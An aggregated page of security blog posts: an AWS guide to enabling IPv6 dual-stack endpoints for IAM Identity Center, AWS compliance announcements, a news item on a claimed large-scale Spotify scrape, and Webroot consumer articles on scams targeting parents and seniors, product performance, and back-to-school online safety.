❌

Normal view

IAM Identity Center now supports IPv6

26 January 2026 at 21:17

Amazon Web Services (AWS) recommends using AWS IAM Identity Center to provide your workforce access to AWS managed applications—such as Amazon Q Developer—and AWS accounts. Today, we announced IAM Identity Center support for IPv6. To learn more about the advantages of IPv6, visit the IPv6 product page.

When you enable IAM Identity center, it provides an access portal for workforce users to access their AWS applications and accounts either by signing in to the access portal using a URL or by using a bookmark for the application URL. In either case, the access portal handles user authentication before granting access to applications and accounts. Supporting both IPv4 and IPv6 connectivity to the access portal helps facilitate seamless access for clients, such as browsers and applications, regardless of their network configuration.

The launch of IPv6 support in IAM Identity Center introduces new dual-stack endpoints that support both IPv4 and IPv6, so that users can connect using IPv4, IPv6, or dual-stack clients. Current IPv4 endpoints continue to function with no action required. The dual stack capability offered by Identity Center extends to managed applications. When users access the application dual-stack endpoint, the application automatically routes to the Identity Center dual-stack endpoint for authentication. To use Identity Center from IPv6 clients, you must direct your workforce to use the new dual-stack endpoints, and update configurations on your external identity provider (IdP), if you use one.

In this post, we show you how to update your configuration to allow IPv6 clients to connect directly to IAM Identity Center endpoints without requiring network address translation services. We also show you how to monitor which endpoint users are connecting to. Before diving into the implementation details, let’s review the key phases of the transition process.

Transition overview

To use IAM Identity Center from an IPv6 network and client, you need to use the new dual-stack endpoints. Figure 1 shows what the transition from IPv4 to IPv6 over dual-stack endpoints looks like when using Identity Center. The figure shows:

  • A before state where clients use the IPv4 endpoints.
  • The transition phase, when your clients use a combination of IPv4 and dual-stack endpoints.
  • After the transition is complete, your clients will connect to dual-stack endpoints using their IPv4 or IPv6, depending on their preferences.

Figure 1: Transition from IPv4-only to dual-stack endpoints

Figure 1: Transition from IPv4-only to dual-stack endpoints

Prerequisites

You must have the following prerequisites in place to enable IPv6 access for your workforce users and administrators:

  • An existing IAM Identity Center instance
  • Updated firewalls or gateways to include the new dual-stack endpoints
  • IPv6 capable clients and networks

Work with your network administrators to update the configuration of your firewalls and gateways and to verify that your clients, such as laptops or desktops, are ready to accept IPv6 connectivity. If you have already enabled IPv6 connectivity for other AWS services, you might be familiar with these changes. Next, implement the two steps that follow.

Step 1: Update your IdP configuration

You can skip this step If you don’t use an external IdP as your identity source.

In this step, you update the Assertion Consumer Service (ACS) URL from your IAM Identity Center instance into your IdP’s configuration for single sign-on and the SCIM configuration for user provisioning. Your IdP’s capability determines how you update the ACS URLs. If your IdP supports multiple ACS URLs, configure both IPv4 and dual-stack URLs to enable a flexible transition. With that configuration, some users can continue using IPv4-only endpoints while others use dual-stack endpoints for IPv6. If your IdP supports only one ACS URL, to use IPv6 you must update the new dual-stack ACS URL in your IdP and transition all users to using dual-stack endpoints. If you don’t use an external IdP, you can skip this step and go to the next step.

Update both the SAML single sign-on and the SCIM provisioning configurations:

  1. Update the single sign-on settings in your IdP to use the new dual-stack URLs. First, locate the URLs in the AWS Management Console for IAM Identity Center.
    1. Choose Settings in the navigation pane and then select Identity source.
    2. Choose Actions and select Manage authentication.
    3. in Under Manage SAML 2.0 authentication, you will find the following URLs under Service provider metadata:
      • AWS access portal sign-in URL
      • IAM Identity Center Assertion Consumer Service (ACS) URL
      • IAM Identity Center issuer URL
  2. If your IdP supports multiple ACS URLs, then add the dual-stack URL to your IdP configuration alongside existing IPv4 one. With this setting, you and your users can decide when to start using the dual-stack endpoints, without all users in your organization having to switch together.

    Figure 2: Dual-stack single sign-on URLs

    Figure 2: Dual-stack single sign-on URLs

  3. If your IdP does not support multiple ACS URLs, replace the existing IPv4 URL with the new dual-stack URL, and switch your workforce to use only the dual-stack endpoints.
  4. Update the provisioning endpoint in your IdP. Choose Settings in the navigation pane and under Identity source, choose Actions and select Manage provisioning. Under Automatic provisioning, copy the new SCIM endpoint that ends in api.aws. Update this new URL in your external IdP.

    Figure 3: Dual-stack SCIM endpoint URL

    Figure 3: Dual-stack SCIM endpoint URL

Step 2: Locate and share the new dual-stack endpoints

Your organization needs two kinds of URLs for IPv6 connectivity. The first is the new dual-stack access portal URL that your workforce users use to access their assigned AWS applications and accounts. The dual-stack access portal URL is available in the IAM Identity Center console, listed as the Dual-stack in the Settings summary (you might need to expand the Access portal URLs section, shown in Figure 4).

Figure 4: Locate dual-stack access portal endpoints

Figure 4: Locate dual-stack access portal endpoints

This dual-stack URL ends with app.aws as its top-level domain (TLD). Share this URL with your workforce and ask them to use this dual-stack URL to connect over IPv6. As an example, if your workforce uses the access portal to access AWS accounts, they will need to sign in through the new dual-stack access portal URL when using IPv6 connectivity. Alternately, if your workforce accesses the application URL, you need to enable the dual-stack application URL following application-specific instructions. For more information, see AWS services that support IPv6.

The URLs that administrators use to manage IAM Identity Center are the second kind of URL your organization needs. The new dual-stack service endpoints end in api.aws as their TLD and are listed in the Identity Center service endpoints. Administrators can use these service endpoints to manage users and groups in Identity Center, update their access to applications and resources, and perform other management operations. As an example, if your administrator uses identitystore.{region}.amazonaws.com to manage users and groups in Identity Center, they should now use the dual-stack version of the same service endpoint which is identitystore.{region}.api.aws, so they can connect to service endpoints using IPv6 clients and networks.

If your users or administrators use an AWS SDK to access AWS applications and accounts or manage services, follow Dual-stack and FIPS endpoints to enable connectivity to the dual-stack endpoints.

After completing these two steps, your workforce and administrators can connect to IAM Identity Center using IPv6. Remember, these endpoints also support IPv4, so clients not yet IPv6-capable can continue to connect using IPv4.

Monitoring dual-stack endpoint usage

You can optionally monitor AWS CloudTrail logs to track usage of dual-stack endpoints. The key difference between IPv4-only and dual-stack endpoint usage is the TLD and appears in the clientProvidedHostHeader field. The following example shows the difference between these CloudTrail events for the CreateTokenWithIAM API call.

IPv4-only endpoints Dual-stack endpoints
"CloudTrailEvent": {
  "eventName": "CreateToken",
  "tlsDetails": {
     "tlsVersion": "TLSv1.3",
     "cipherSuite": "TLS_AES_128_GCM_SHA256",
     "clientProvidedHostHeader": "oidc.us-east-1.amazonaws.com"
  }
}
"CloudTrailEvent": {
  "eventName": "CreateToken",
  "tlsDetails": {
     "tlsVersion": "TLSv1.3",
     "cipherSuite": "TLS_AES_128_GCM_SHA256",
     "clientProvidedHostHeader": "oidc.us-east-1.api.aws"
  }
}

Conclusion

IAM Identity Center now allows clients to connect over IPv6 natively with no network address translation infrastructure. This post showed you how to transition your organization to use IPv6 with Identity Center and its integrated applications. Remember that existing IPv4 endpoints will continue to function, so you can transition at your own pace. Also, no immediate action is required by you. However, we recommend planning your transition to take advantage of IPv6 benefits and meet compliance requirements. If you have questions, comments, or concerns, contact AWS Support, or start a new thread in the IAM Identity Center re:Post channel.

 
If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.
 

Suchintya Dandapat Suchintya Dandapat
Suchintya Dandapat is a Principal Product Manager for AWS where he partners with enterprise customers to solve their toughest identity challenges, enabling secure operations at global scale.

Updated PCI PIN compliance package for AWS CloudHSM now available

26 January 2026 at 19:11

Amazon Web Services (AWS) is pleased to announce the successful completion of Payment Card Industry Personal Identification Number (PCI PIN) audit for the AWS CloudHSM service.

With CloudHSM, you can manage and access your keys on FIPS 140-3 Level 3 validated hardware, protected with customer-owned, single-tenant hardware security module (HSM) instances that run in your own virtual private cloud (VPC). This PCI PIN attestation gives you the flexibility to deploy your regulated workloads with reduced compliance overhead. CloudHSM might be suitable when operations supported by the service are integrated into a broader solution that requires PCI-PIN compliance. For payment operations, such as PIN translation, we encourage you to consider AWS Payment Cryptography as a fully managed alternative for PCI-PIN compliance.

The PCI PIN compliance report package for AWS CloudHSM includes two key components:

  • PCI PIN Attestation of Compliance (AOC) – demonstrating that AWS CloudHSM was successfully validated against the PCI PIN standard with zero findings
  • PCI PIN Responsibility Summary – provides guidance to help AWS customers understand their responsibilities in developing and operating a highly secure environment for handling PIN-based transactions

AWS was evaluated by Coalfire, a third-party Qualified Security Assessor (QSA). Customers can access the PCI PIN Attestation of Compliance (AOC) and PCI PIN Responsibility Summary reports through AWS Artifact.

To learn more about our PCI program and other compliance and security programs, see the AWS Compliance Programs page. As always, we value your feedback and questions; reach out to the AWS Compliance team through the Contact Us page.

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

Tushar Jain

Tushar Jain

Tushar is a Compliance Program Manager at AWS. He leads multiple security and privacy initiatives within AWS. Tushar holds a Master of Business Administration from Indian Institute of Management Shillong, India and a Bachelor of Technology in electronics and telecommunication engineering from Marathwada University, India. He has over 13 years of experience in information security and holds CCSK and CSXF certifications.

Will Black

Will Black

Will is a Compliance Program Manager at Amazon Web Services. He leads multiple security and compliance initiatives within AWS. He has ten years of experience in compliance and security assurance and holds a degree in Management Information Systems from Temple University. Additionally, he holds the CCSK and ISO 27001 Lead Implementer certifications.

Updated PCI PIN compliance package for AWS Payment Cryptography now available

24 January 2026 at 00:14

Amazon Web Services (AWS) is pleased to announce the successful completion of Payment Card Industry Personal Identification Number (PCI PIN) audit for the AWS Payment Cryptography service.

With AWS Payment Cryptography, your payment processing applications can use payment hardware security modules (HSMs) that are PCI PIN Transaction Security (PTS) HSM certified and fully managed by AWS, with PCI PIN-compliant key management. This attestation gives you the flexibility to deploy your regulated workloads with reduced compliance overhead.

The PCI PIN compliance report package for AWS Payment Cryptography includes two key components:

  • PCI PIN Attestation of Compliance (AOC) – demonstrating that AWS Payment Cryptography was successfully validated against the PCI PIN standard with zero findings
  • PCI PIN Responsibility Summary – provides guidance to help AWS customers understand their responsibilities in developing and operating a highly secure environment for handling PIN-based transactions

AWS was evaluated by Coalfire, a third-party Qualified Security Assessor (QSA). Customers can access the PCI PIN Attestation of Compliance (AOC) and PCI PIN Responsibility Summary reports through AWS Artifact.

To learn more about our PCI programs and other compliance and security programs, visit the AWS Compliance Programs page. As always, we value your feedback and questions; reach out to the AWS Compliance team through the Compliance Support page.

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

Tushar Jain

Tushar Jain

Tushar is a Compliance Program Manager at AWS. He leads multiple security and privacy initiatives within AWS. Tushar holds a Master of Business Administration from Indian Institute of Management Shillong, India and a Bachelor of Technology in electronics and telecommunication engineering from Marathwada University, India. He has over 13 years of experience in information security and holds CCSK and CSXF certifications.

Will Black

Will Black

Will is a Compliance Program Manager at Amazon Web Services. He leads multiple security and compliance initiatives within AWS. He has ten years of experience in compliance and security assurance and holds a degree in Management Information Systems from Temple University. Additionally, he holds the CCSK and ISO 27001 Lead Implementer certifications.

AWS achieves 2025 C5 Type 2 attestation report with 183 services in scope 

23 January 2026 at 22:39

Amazon Web Services (AWS) is pleased to announce a successful completion of the 2025 Cloud Computing Compliance Criteria Catalogue (C5) attestation cycle with 183 services in scope. This alignment with C5 requirements demonstrates our ongoing commitment to adhere to the heightened expectations for cloud service providers. AWS customers in Germany and across Europe can run their applications in the AWS Regions that are in scope of the C5 report with the assurance that AWS aligns with C5 criteria.

The C5 attestation scheme is backed by the German government and was introduced by the Federal Office for Information Security (BSI) in 2016. AWS has adhered to the C5 requirements since their inception. C5 helps organizations demonstrate operational security against common cybersecurity threats when using cloud services.

Independent third-party auditors evaluated AWS for the period of October 1, 2024, through September 30, 2025. The C5 report illustrates the compliance status of AWS for both the basic and additional criteria of C5. Customers can download the C5 report through AWS Artifact, a self-service portal for on-demand access to AWS compliance reports. Sign in to AWS Artifact in the AWS Management Console or learn more at Getting Started with AWS Artifact.

AWS has added the following five services to the current C5 scope:

The following AWS Regions are in scope of the 2025 C5 attestation: Europe (Frankfurt), Europe (Ireland), Europe (London), Europe (Milan), Europe (Paris), Europe (Stockholm), Europe (Spain), Europe (Zurich), and Asia Pacific (Singapore). For up-to-date information, see the C5 page of our AWS Services in Scope by Compliance Program.

Security and compliance is a shared responsibility between AWS and the customer. When customers move their computer systems and data to the cloud, security responsibilities are shared between the customer and the cloud service provider. For more information, see the AWS Shared Security Responsibility Model.

To learn more about our compliance and security programs, see AWS Compliance Programs. As always, we value your feedback and questions; reach out to the AWS Compliance team through the Contact Us page.

Reach out to your AWS account team if you have questions or feedback about the C5 report.
If you have feedback about this post, submit comments in the Comments section below.

Tea Jioshvili

Tea Jioshvili

Tea is a Manager in AWS Compliance & Security Assurance based in Berlin, Germany. She leads various third-party audit programs across Europe. She previously worked in security assurance and compliance, business continuity, and operational risk management in the financial industry for 20 years.

Hacktivists claim near-total Spotify music scrape

23 December 2025 at 13:28

Hacktivist group Anna’s Archive claims to have scraped almost all of Spotify’s catalog and is now seeding it via BitTorrent, effectively turning a streaming platform into a roughly 300 TB pirate “preservation archive.”

On its blog, the group states:

“A while ago, we discovered a way to scrape Spotify at scale. We saw a role for us here to build a music archive primarily aimed at preservation.”

Spotify insists that the hacktivists obtained no user data. Still, the incident highlights how large‑scale scraping, digital rights management (DRM) circumvention, and weak abuse controls can turn major content platforms into high‑value targets.

Anna’s Archive claims it obtained metadata for around 256 million tracks and audio files for roughly 86 million songs, totaling close to 300 TB. Reportedly, this represents about 99.9% of Spotify’s catalog and roughly 99.6% of all streams.

Spotify says it has “identified and disabled the nefarious user accounts that engaged in unlawful scraping” and implemented new safeguards.

From a security perspective, this incident is a textbook example of how scraping can escalate beyond “just metadata” into industrial‑scale content theft. By combining public APIs, token abuse, rate‑limit evasion, and DRM bypass techniques, attackers can extract protected content at scale. If you can create or compromise enough accounts and make them appear legitimate, you can chip away at content protections over time.

The “Spotify scrape” will likely be framed as a copyright story. But from a security angle, it serves as a reminder: if a platform exposes content or metadata at scale, someone will eventually automate access to it, weaponize it, and redistribute it.

And hiding behind violations of terms and conditions—which have never stopped criminals—is not effective security control.

How does this affect you?

There is currently no indication that passwords, payment details, or private playlists were exposed. This incident is purely about content and metadata, not user databases. That said, scammers may still claim otherwise. Be cautious of messages alleging your account data was compromised and asking for your login details.

Some general Spotify security tips, to be on the safe side:

  • If you have reused your Spotify password elsewhere or shared your credentials, consider changing your password for peace of mind.
  • Regularly review active sessions on streaming services and revoke anything you do not recognize. Spotify does not offer per-device session management, but you can sign out of all devices via Account > Settings and privacy on the Spotify website.
  • Avoid unofficial downloaders, converters, or “Spotify mods” that ask for your login or broad OAuth permissions. These tools often rely on the same kind of scraping infrastructure—or worse, function as credential-stealing malware.

We don’t just report on threats – we help protect your social media

Cybersecurity risks should never spread beyond a headline. Protect your social media accounts by using Malwarebytes Identity Theft Protection.

Guarding your family against the latest online threats

24 September 2025 at 22:50

Parents across America face a growing wave of sophisticated online fraud designed to exploit their deepest fears and protective instincts. Americans reported losing more than $12.5 billion to fraud in 2024, representing a 25% increase over the prior year, according to new Federal Trade Commission data.

Parents represent a particularly vulnerable target because scammers understand that nothing motivates faster action than a perceived threat to a child’s safety or wellbeing. These criminals exploit parental love —creating artificial urgency that bypasses normal thinking.

Why scammers target parents

Parents are prime scam targets for several key reasons:

  • They often have established credit, making it attractive for scams involving money.
  • Easy access to cash that hackers try to tap into.
  • Most importantly, parents will go to extraordinary lengths—including financial sacrifice—to protect their children from harm.

Modern technology has made these scams more convincing than ever. Scammers now use artificial intelligence to clone voices, create fake social media profiles, and generate realistic scenarios that seem entirely plausible to worried parents.

The 5 most devastating scams bankrupting parents right now

1. Family emergency scams

The most emotionally devastating scam targeting parents involves fake emergencies. Scammers use AI to clone the voice of a child in distress, calling parents with scenarios like car accidents, jail time, or medical emergencies. The caller, sounding exactly like their child, beg for immediate money transfer while pleading for secrecy.

These scams create powerful emotional responses that override logical thinking. Parents hear their child’s voice saying, “Don’t tell Dad” or “I’m scared,” and immediately spring into action without verification.

“Pause and verify” protocol: Teach your entire family the 24-hour rule for any urgent financial requests. No legitimate emergency requires immediate wire transfers or gift card payments. Always hang up and call back using a known phone number to verify any emergency claims.

2. School-related fraud

Cybercriminals pose as school officials, coaches, or administrators claiming children owe money for equipment, field trips, or disciplinary issues. They demand immediate payment via wire transfer, gift cards, or cryptocurrency to avoid serious consequences like suspension or criminal charges.

These scams work because parents want to protect their children’s academic and social standing. The fraudsters create artificial deadlines and threaten embarrassment or legal action if parents don’t act quickly.

Verify information: Hang up and contact the school or organization directly using their official phone number or website to confirm its authenticity.

3. Social media kidnapping hoaxes

In virtual kidnapping scams, fraudsters monitor children’s social media activity to gather personal information. They then call parents claiming to have kidnapped their child, demanding ransom money. Meanwhile, the child is simply unavailable—perhaps in class, at practice, or with friends.

These schemes rely on the parent’s inability to immediately reach their child for confirmation. The scammers use publicly available information from social media posts to make their demands seem legitimate.

Multi-Factor Authentication (MFA): Enable two-factor authentication on all family accounts, especially email, banking, and social media. This simple step blocks 99% of automated attacks, even if passwords are compromised. Show your children how to use authenticator apps rather than SMS authentication when possible. Additionally, It’s critical for parents to set their children’s social media accounts to private, use parental controls, and monitor their child’s social media habits.

4. Financial Sextortion of Minors

The FBI has identified “financial sextortion” of teens as a “rapidly escalating threat”. Criminals trick minors into sharing explicit images, then blackmail both the child and parents for payment. These predators target children through gaming platforms, social media, and messaging apps.

A study found approximately 5% of U.S. students reported that they had been the victim of sextortion.  With 1 in 7 youth victims (15%) saying they harmed themselves in response to sextortion. Parents often discover these crimes only when their children’s demeanor changes or exhibit severe behavioral changes. The psychological damage extends far beyond the financial cost.

Social media privacy settings: Regularly audit your family’s social media accounts together. Scammers harvest information from public posts to make their schemes more convincing. Teach children to never post real-time locations, vacation plans, personal details that criminals can exploit or share personal and explicit photos.

5. College and scholarship scams

As college costs soar, scammers target parents desperate to secure educational funding for their children. They offer fake scholarships, guaranteed admissions, or student loan forgiveness programs that require upfront fees or personal financial information.

These scams often impersonate legitimate organizations and use official-sounding language to appear credible. Parents, stressed about their children’s futures, may overlook red flags in their eagerness to secure opportunities.

Email security awareness: Practice identifying phishing emails with your children using the “STOP, LOOK, THINK” method:

  • STOP: Don’t click links or attachments immediately.
  • LOOK: Check sender addresses carefully for misspellings or suspicious domains.
  • THINK: Ask yourself if the request makes sense and verify independently.

Your 5-step defense plan: stop scammers before they strike

  1. Real-time threat detection: Webroot’s advanced algorithms identify and block malicious websites, phishing attempts, and dangerous downloads before they can compromise family devices or data.
  2. Identity protection services: Comprehensive monitoring of identity, credit, and financial accounts helps detect fraud early, with up to $1 million in fraud expense and stolen funds reimbursement.
  3. Secure family browsing: Webroot automatically warns users about suspicious websites and blocks access to known scam sites, protecting curious children and busy parents from accidentally accessing dangerous content.
  4. Dark Web monitoring: This crucial feature monitors family members’ personal information and sends alerts if data appears in breaches or on criminal marketplaces.
  5. Password security: Strong password management ensures that all family accounts remain protected with unique, complex passwords that children and parents can easily access when needed. Never reuse passwords across accounts and use a password manager to track them all.

Don’t let criminals exploit your parental instincts

  • Establish clear communication protocols with your children.
  • Create unique code words or security questions that only family members know.
  • Practice scenarios where children should verify requests through multiple channels before sharing information or money. Have regular family discussions about online safety to help children understand current threats without creating excessive fear.
  • Participate in school, community centers, and parent organizations cybersecurity workshops specifically designed for families.
  • Combine street-smart awareness with enterprise-level cybersecurity solutions like Webroot to create an impenetrable defense against parent-targeting criminals.

 With October being Cybersecurity Awareness Month now is the perfect time to put your cybersecurity family game plan into place. The criminals betting on your parental panic are about to learn that informed, protected parents don’t make easy targets.

Additional Resources:

The post Guarding your family against the latest online threats appeared first on Webroot Blog.

Senior scams topped $4.8 billion in 2024: What to watch out for

25 August 2025 at 16:58

Americans aged 60 and older lost $4.8 billion in 2024 to scammers, according to a report released by the FBI. These figures represent real people, real families, and life-changing financial devastation.

The impact extends beyond just the numbers. The average loss among people over the age of 60 was $83,000, more than four times the average overall loss in 2024. This disparity highlights why seniors have become prime targets for sophisticated scam operations.

Why seniors are targeted

Cybercriminals specifically target older adults for several reasons. Many seniors have accumulated substantial savings over their lifetimes, own their homes outright, and maintain good credit scores. Additionally, some may be less familiar with modern technology and digital security practices, making them more vulnerable to online deception.

The 5 scams draining senior bank accounts

1. Tech support fraud

Tech support scams happen when scammers pose as representatives of legitimate businesses like banks and utility companies. They reach out in various ways, including phone calls, texts and pop-up windows. They claim there’s an issue with a device or account and ask to send a fee to fix it. These fake alerts provide phone numbers that connect victims to scammers who then request remote access to computers and payment for unnecessary “repairs.”

2. Romance scams

Lonely seniors looking for love and companionship can easily fall victim to romance fraud. Criminals create fake profiles on dating sites and social media. These scammers build emotional relationships over weeks or months before requesting money to be wired or transferred to them for emergencies or travel expenses. Romance scams cost seniors $277 million (up 16% from 2022) according to the FTC’s latest report.

3. Grandparent scams

One of the most disturbing trends is the grandparent emergency scam. Fraudsters use AI to clone the voice of a grandchild in distress. Grandma or Grandpa gets a fake call from someone who sounds just like their grandchild saying need of money for bail, medical emergencies, or another crisis. They often request that the victim keep the call secret and send money immediately through wire transfers or gift cards. These scams work because they create emotional urgency.

4. Investment fraud

Older adults report losing more money, $538 million—a 34% increase over 2022, to investment scams than any other type of fraud. These scams often originate from phone calls, emails, social media, or events where fraudsters promise “guaranteed” high returns with little to no risk. Many schemes use urgency (“act now before it’s too late”), pose as financial advisors, or an affinity group related to their community or church. Seniors may fall for them because they sound safe and tailored to their situation, making it difficult to distinguish between legitimate opportunities and fraudulent ones until it’s too late.

5. Government impersonation scams

Scammers pose as representatives from Medicare, Social Security, or the IRS, claiming there are problems with benefits or threatening legal action unless immediate payment is made. For example, a call, text or social media message from someone who says they work at the Social Security Administration. They threaten to suspend the senior’s Social Security number or stop their Social Security payments unless they send them money owed. This type of claim is a scheme to steal both identity and money.  Social Security numbers can’t be suspended, and government agencies will never ask to be paid via wire transfer, cryptocurrency or payment apps.

Signs that it might be a scam

  • Unexpected phone calls or pop-ups claiming a computer is infected
  • Requests for immediate payment via wire transfer, gift cards, or cryptocurrency
  • High-pressure tactics demanding quick decisions
  • Unsolicited romantic interest from strangers online
  • Claims of emergency situations involving family members
  • Promises of unrealistic investment returns

How Webroot can help protect seniors

Modern cybersecurity solutions are essential for protecting seniors online. Webroot’s Total Protection offers multiple layers of protection specifically designed to combat the threats seniors face most.

Antivirus protection: Webroot’s advanced threat detection identifies and blocks malicious websites, phishing attempts, and dangerous downloads before they can cause harm.

Identity protection: Identity, credit, and financial accounts monitoring for fraud, with up $1M in fraud expense and stolen funds reimbursement.

Dark Web monitoring: This feature monitors personal information and alerts users if their data appears on the dark web or in data breaches.

Secure browsing: Webroot automatically warns users about suspicious websites and blocks access to known scam sites.

Password management: Strong, unique passwords are crucial for online safety, and Webroot’s password manager makes it easy to maintain secure accounts across all devices.

The importance of community awareness

The epidemic of attacks on seniors requires community-wide awareness and action.

Family members should regularly discuss online safety with senior relatives, helping them understand current scam tactics without creating fear or limiting their digital independence. Community organizations, libraries, and senior centers host educational workshops about cybersecurity and scam prevention. Seniors should check local events to learn more.

Moving forward safely

The digital world offers tremendous benefits for seniors, from staying connected with family to accessing healthcare and financial services online. The goal The goal for seniors isn’t to avoid technology but to use it safely and confidently.

By combining awareness, education, and robust cybersecurity tools like Webroot, seniors can enjoy the advantages of modern technology while staying protected from those who would exploit their trust and generosity. When something seems too good to be true or creates a sense of urgency, seniors should take time to verify information and consult with trusted family members or friends.

The fight against elder fraud requires vigilance from entire communities, but with the right tools and knowledge, families and communities can help protect their most vulnerable members from these devastating crimes.

Additional resources:

The cost of romance fraud

Spotting grandparent scams

AARP 2025 fraud and scams survey

Webroot solutions

The post Senior scams topped $4.8 billion in 2024: What to watch out for appeared first on Webroot Blog.

Why your computer will thank you for choosing Webroot Essentials

29 July 2025 at 16:20

Let’s be honest – nobody wants antivirus software that slows down their computer. You know the feeling: you install security software to protect yourself, but suddenly your laptop takes forever to start up, programs freeze, and you’re constantly waiting for things to load.

Well, we have some great news. A recent independent study by PassMark Software just proved what we’ve been saying all along: Webroot Essentials gives you top-notch protection without the performance headaches.

We actually came out on top

PassMark tested nine popular antivirus programs (including big names like McAfee, Norton, and Microsoft Defender) to see which one performs best on Windows 11. Webroot Essentials scored the highest overall – but here’s what really matters to you as a user.

The numbers that matter to your daily life

Instead of boring you with technical jargon, let’s talk about what these test results mean for your everyday computer use:

Getting set up

  • Webroot installs 6.7 times faster than other antivirus programs
  • Translation: You’ll be protected in under a minute, not sitting around waiting

Using your computer

  • Our software opens 3 times faster when you need to check something
  • Your computer stays snappy and responsive, just like it should

Your hard drive space

  • Webroot takes up 33 times less space than the average competitor
  • More room for your photos, music, and the stuff you actually care about

Your computer’s memory

  • We use 5 times less memory when just running in the background
  • Even during scans, we use 3.5 times less memory than others
  • Your other programs won’t slow down or crash

Security scans

  • Full system scans happen 6 times faster
  • No more hour-long scans that make your computer unusable

What this really means for you

Think about your typical day with your computer. Maybe you’re checking email, browsing the web, working on documents, or video chatting with family. You want protection running quietly in the background – not something that makes you want to throw your laptop out the window.

With Webroot Essentials, you get that peace of mind without any of the frustration. Your computer starts up fast, programs load quickly, and you’ve got plenty of storage space left for your files.

Details of the study

PassMark Software ran this independent test in June 2025, putting nine antivirus products through 15 different performance tests. Every product was tested exactly the same way on fresh Windows 11 computers with default settings – so it was a fair comparison across the board.

Download the full report here.

The bottom line

Here’s the thing: you shouldn’t have to choose between staying safe online and having a computer that actually works well. Webroot Essentials proves you can have both.

If you’re tired of antivirus software that feels like it’s working against you instead of for you, it might be time to make the switch. Your computer – and your patience – will thank you.

Learn more about Webroot Essentials

The post Why your computer will thank you for choosing Webroot Essentials appeared first on Webroot Blog.

Back-to-school cyber safety: Parent checklist

21 July 2025 at 21:36

Summer is flying by and before you know it, you’ll be buying backpacks and taking first-day-of-school photos. Back-to-school season brings new classes and friends, but it also brings new digital dangers. By the time you’ve dropped your kids off for their first day of class, chances are they’ve already been exposed to their first cyberthreat of the day. New devices, new online accounts, and relaxed summer screen habits could make your children vulnerable to a slew of online threats.

Numbers you need to know

For most kids, especially teenagers, being online is a big part of daily life. From scrolling through TikTok and watching YouTube videos to chatting with friends and gaming, 46% of teens say they’re online “almost constantly.” Cybercriminals know this and are always looking for opportunities to cash in on your kids’ online activity. Threats like social media phishing have skyrocketed from 18.9% to 42.8%. Some of these scams are directly aimed at children, including a rash of fake school emails designed to steal sensitive personal information. Since more than 80% of data breaches start with stolen passwords, it’s more important than ever that your children use strong passwords that are difficult to crack. The good news? We’ve put together a digital safety checklist to help you boost your entire family’s cybersecurity in just one weekend.

Real-life risks in your child’s digital day

  • Phishing & social engineering: Let’s say your teenage daughter gets a text that reads, “Your grades won’t post unless you verify your information now.” Or maybe she gets an email that asks for her student login to update her records. Phishing and social engineering scams use threats and a sense of urgency to get you to click links and share personal information. Make sure your kids know to question any sudden or unusual request, and always bring it to you for verification before taking any action.
  • Gaming & app-related hazards: Your son’s gaming buddy asks to move their conversation to a private app. Seems harmless enough, but is this someone your son really knows? Gaming sites are often part of a child’s social life, and that’s exactly why they’re a popular place for scams. Kids get urged to make in-game purchases that run up mom and dad’s credit card bills. They get invites to unfamiliar apps and private chats that can lead to crimes like credit card theft and inappropriate contact with strangers. Scammers and predators often target kids through chat features and build trust so they can take advantage of them, both personally and financially. Remind your children that not everyone they meet online is who they say they are. For their safety, they should only trust the friends they actually know IRL (in real life).
  • Social media dangers:
    • Oversharing personal information: Your child’s classmate screenshots a private message and shares it on social media. It’s a seemingly small act that can have lasting consequences, from public embarrassment to cyberbullying. One of the biggest perils of social media can be oversharing personal details. Location tracking and location tagging can expose sensitive information like addresses, schools and current locations. Talk with your kids about keeping private information private by being careful who they chat with and by using location sharing and tagging wisely.
    • Negative mental health effects: While there are many rewards to social media, excessive use can have a negative effect on your child’s mental health. Too much time spent scrolling can lead to social isolation, lack of sleep and lack of outdoor activity. Be sure to talk with you kids about creating healthy digital habits, which includes regular breaks from devices.
  • Academic integrity issues: With AI use on the rise, it’s only fair to expect your kids will use ChatGPT or another AI tool to help with their homework. But it’s important to explain that while AI can be used to help them study, it shouldn’t do their work for them. As AI tools become more sophisticated, so do detection tools that identify plagiarism and other forms of cheating. The same goes for sharing homework or posting test answers online. Make sure your kids know that the consequences of cheating can include failing grades and disciplinary action at school. Encourage them to stay academically honest and try to offer to help them with their studies if they need it.
  • Sextortion & online predators: The toughest topic to bring up with your children may be the most important one. Online predators are skilled at manipulation and tend to be very difficult to spot, especially for a child. Sextortion is a form of blackmail. It often occurs when an adult poses as a peer and builds an online relationship with a child. The scammer then pressures the child for private photos and information, which they can use for blackmail purposes. Even if a child has never shared a sexually explicit photo, they can still fall victim to sextortion. Recently, scammers have been using AI to transform an innocent photo of a child, usually taken from a social media profile, into a sexually explicit photo. They then use these very realistic photos to blackmail the victim. Have open conversations with your kids and encourage them to share details about any online relationships with you. Explain that you respect their privacy but need to have regular check-ins to keep them safe.

Your back-to-school digital security action plan

Want to secure your whole family’s digital life? Complete this back-to-school digital security checklist and use it to protect your entire household in under an hour.

Complete this weekend:

✅ Install reputable antivirus software: Keep your family cyber safe by installing antivirus software on all devices. Webroot Total Protection offers comprehensive online security and protection for up to ten devices. It includes real-time monitoring to safeguard you from bank and credit card fraud and identity theft.

✅ Enable automatic updates: Outdated software puts you and your family at risk for cyberfraud. Protect your important digital data by enabling automatic updates for all your apps, software and devices. This ensures you always have the latest security patches, and you can schedule updates to happen overnight, so they won’t interrupt your family’s screen time.

✅ Create a strong Wi-Fi password: Every smart home device you have, from Nest thermostats to Ring doorbell cameras, connects to your Wi-Fi and creates an opportunity for hackers to break in. Be sure to lock down your home network by creating a strong  password for your router.
 
✅ Set up encrypted connections: Consider using a VPN (Virtual Private Network) to protect your personal information. Whether you’re at home or public Wi-Fi, Webroot Secure VPN provides encrypted connections for safe browsing and online transactions.

✅ Create a backup system for schoolwork and important files: Keep all your homework, projects and other valuable files safe from online fraud with regular backups. Carbonite offers automatic, encrypted backups and unlimited cloud storage, giving you peace of mind that your digital data is always stored safely and easy to restore.
 
Monthly tasks (general):

✅ Review and update passwords: Pick your child’s three most important passwords and update them together. Be sure to make them long and strong – nothing easy to guess like “12345”, “password”, or your pet’s name.

✅ Check your child’s app downloads and permissions: Remove unnecessary apps and manage permissions to deny unwanted data sharing.

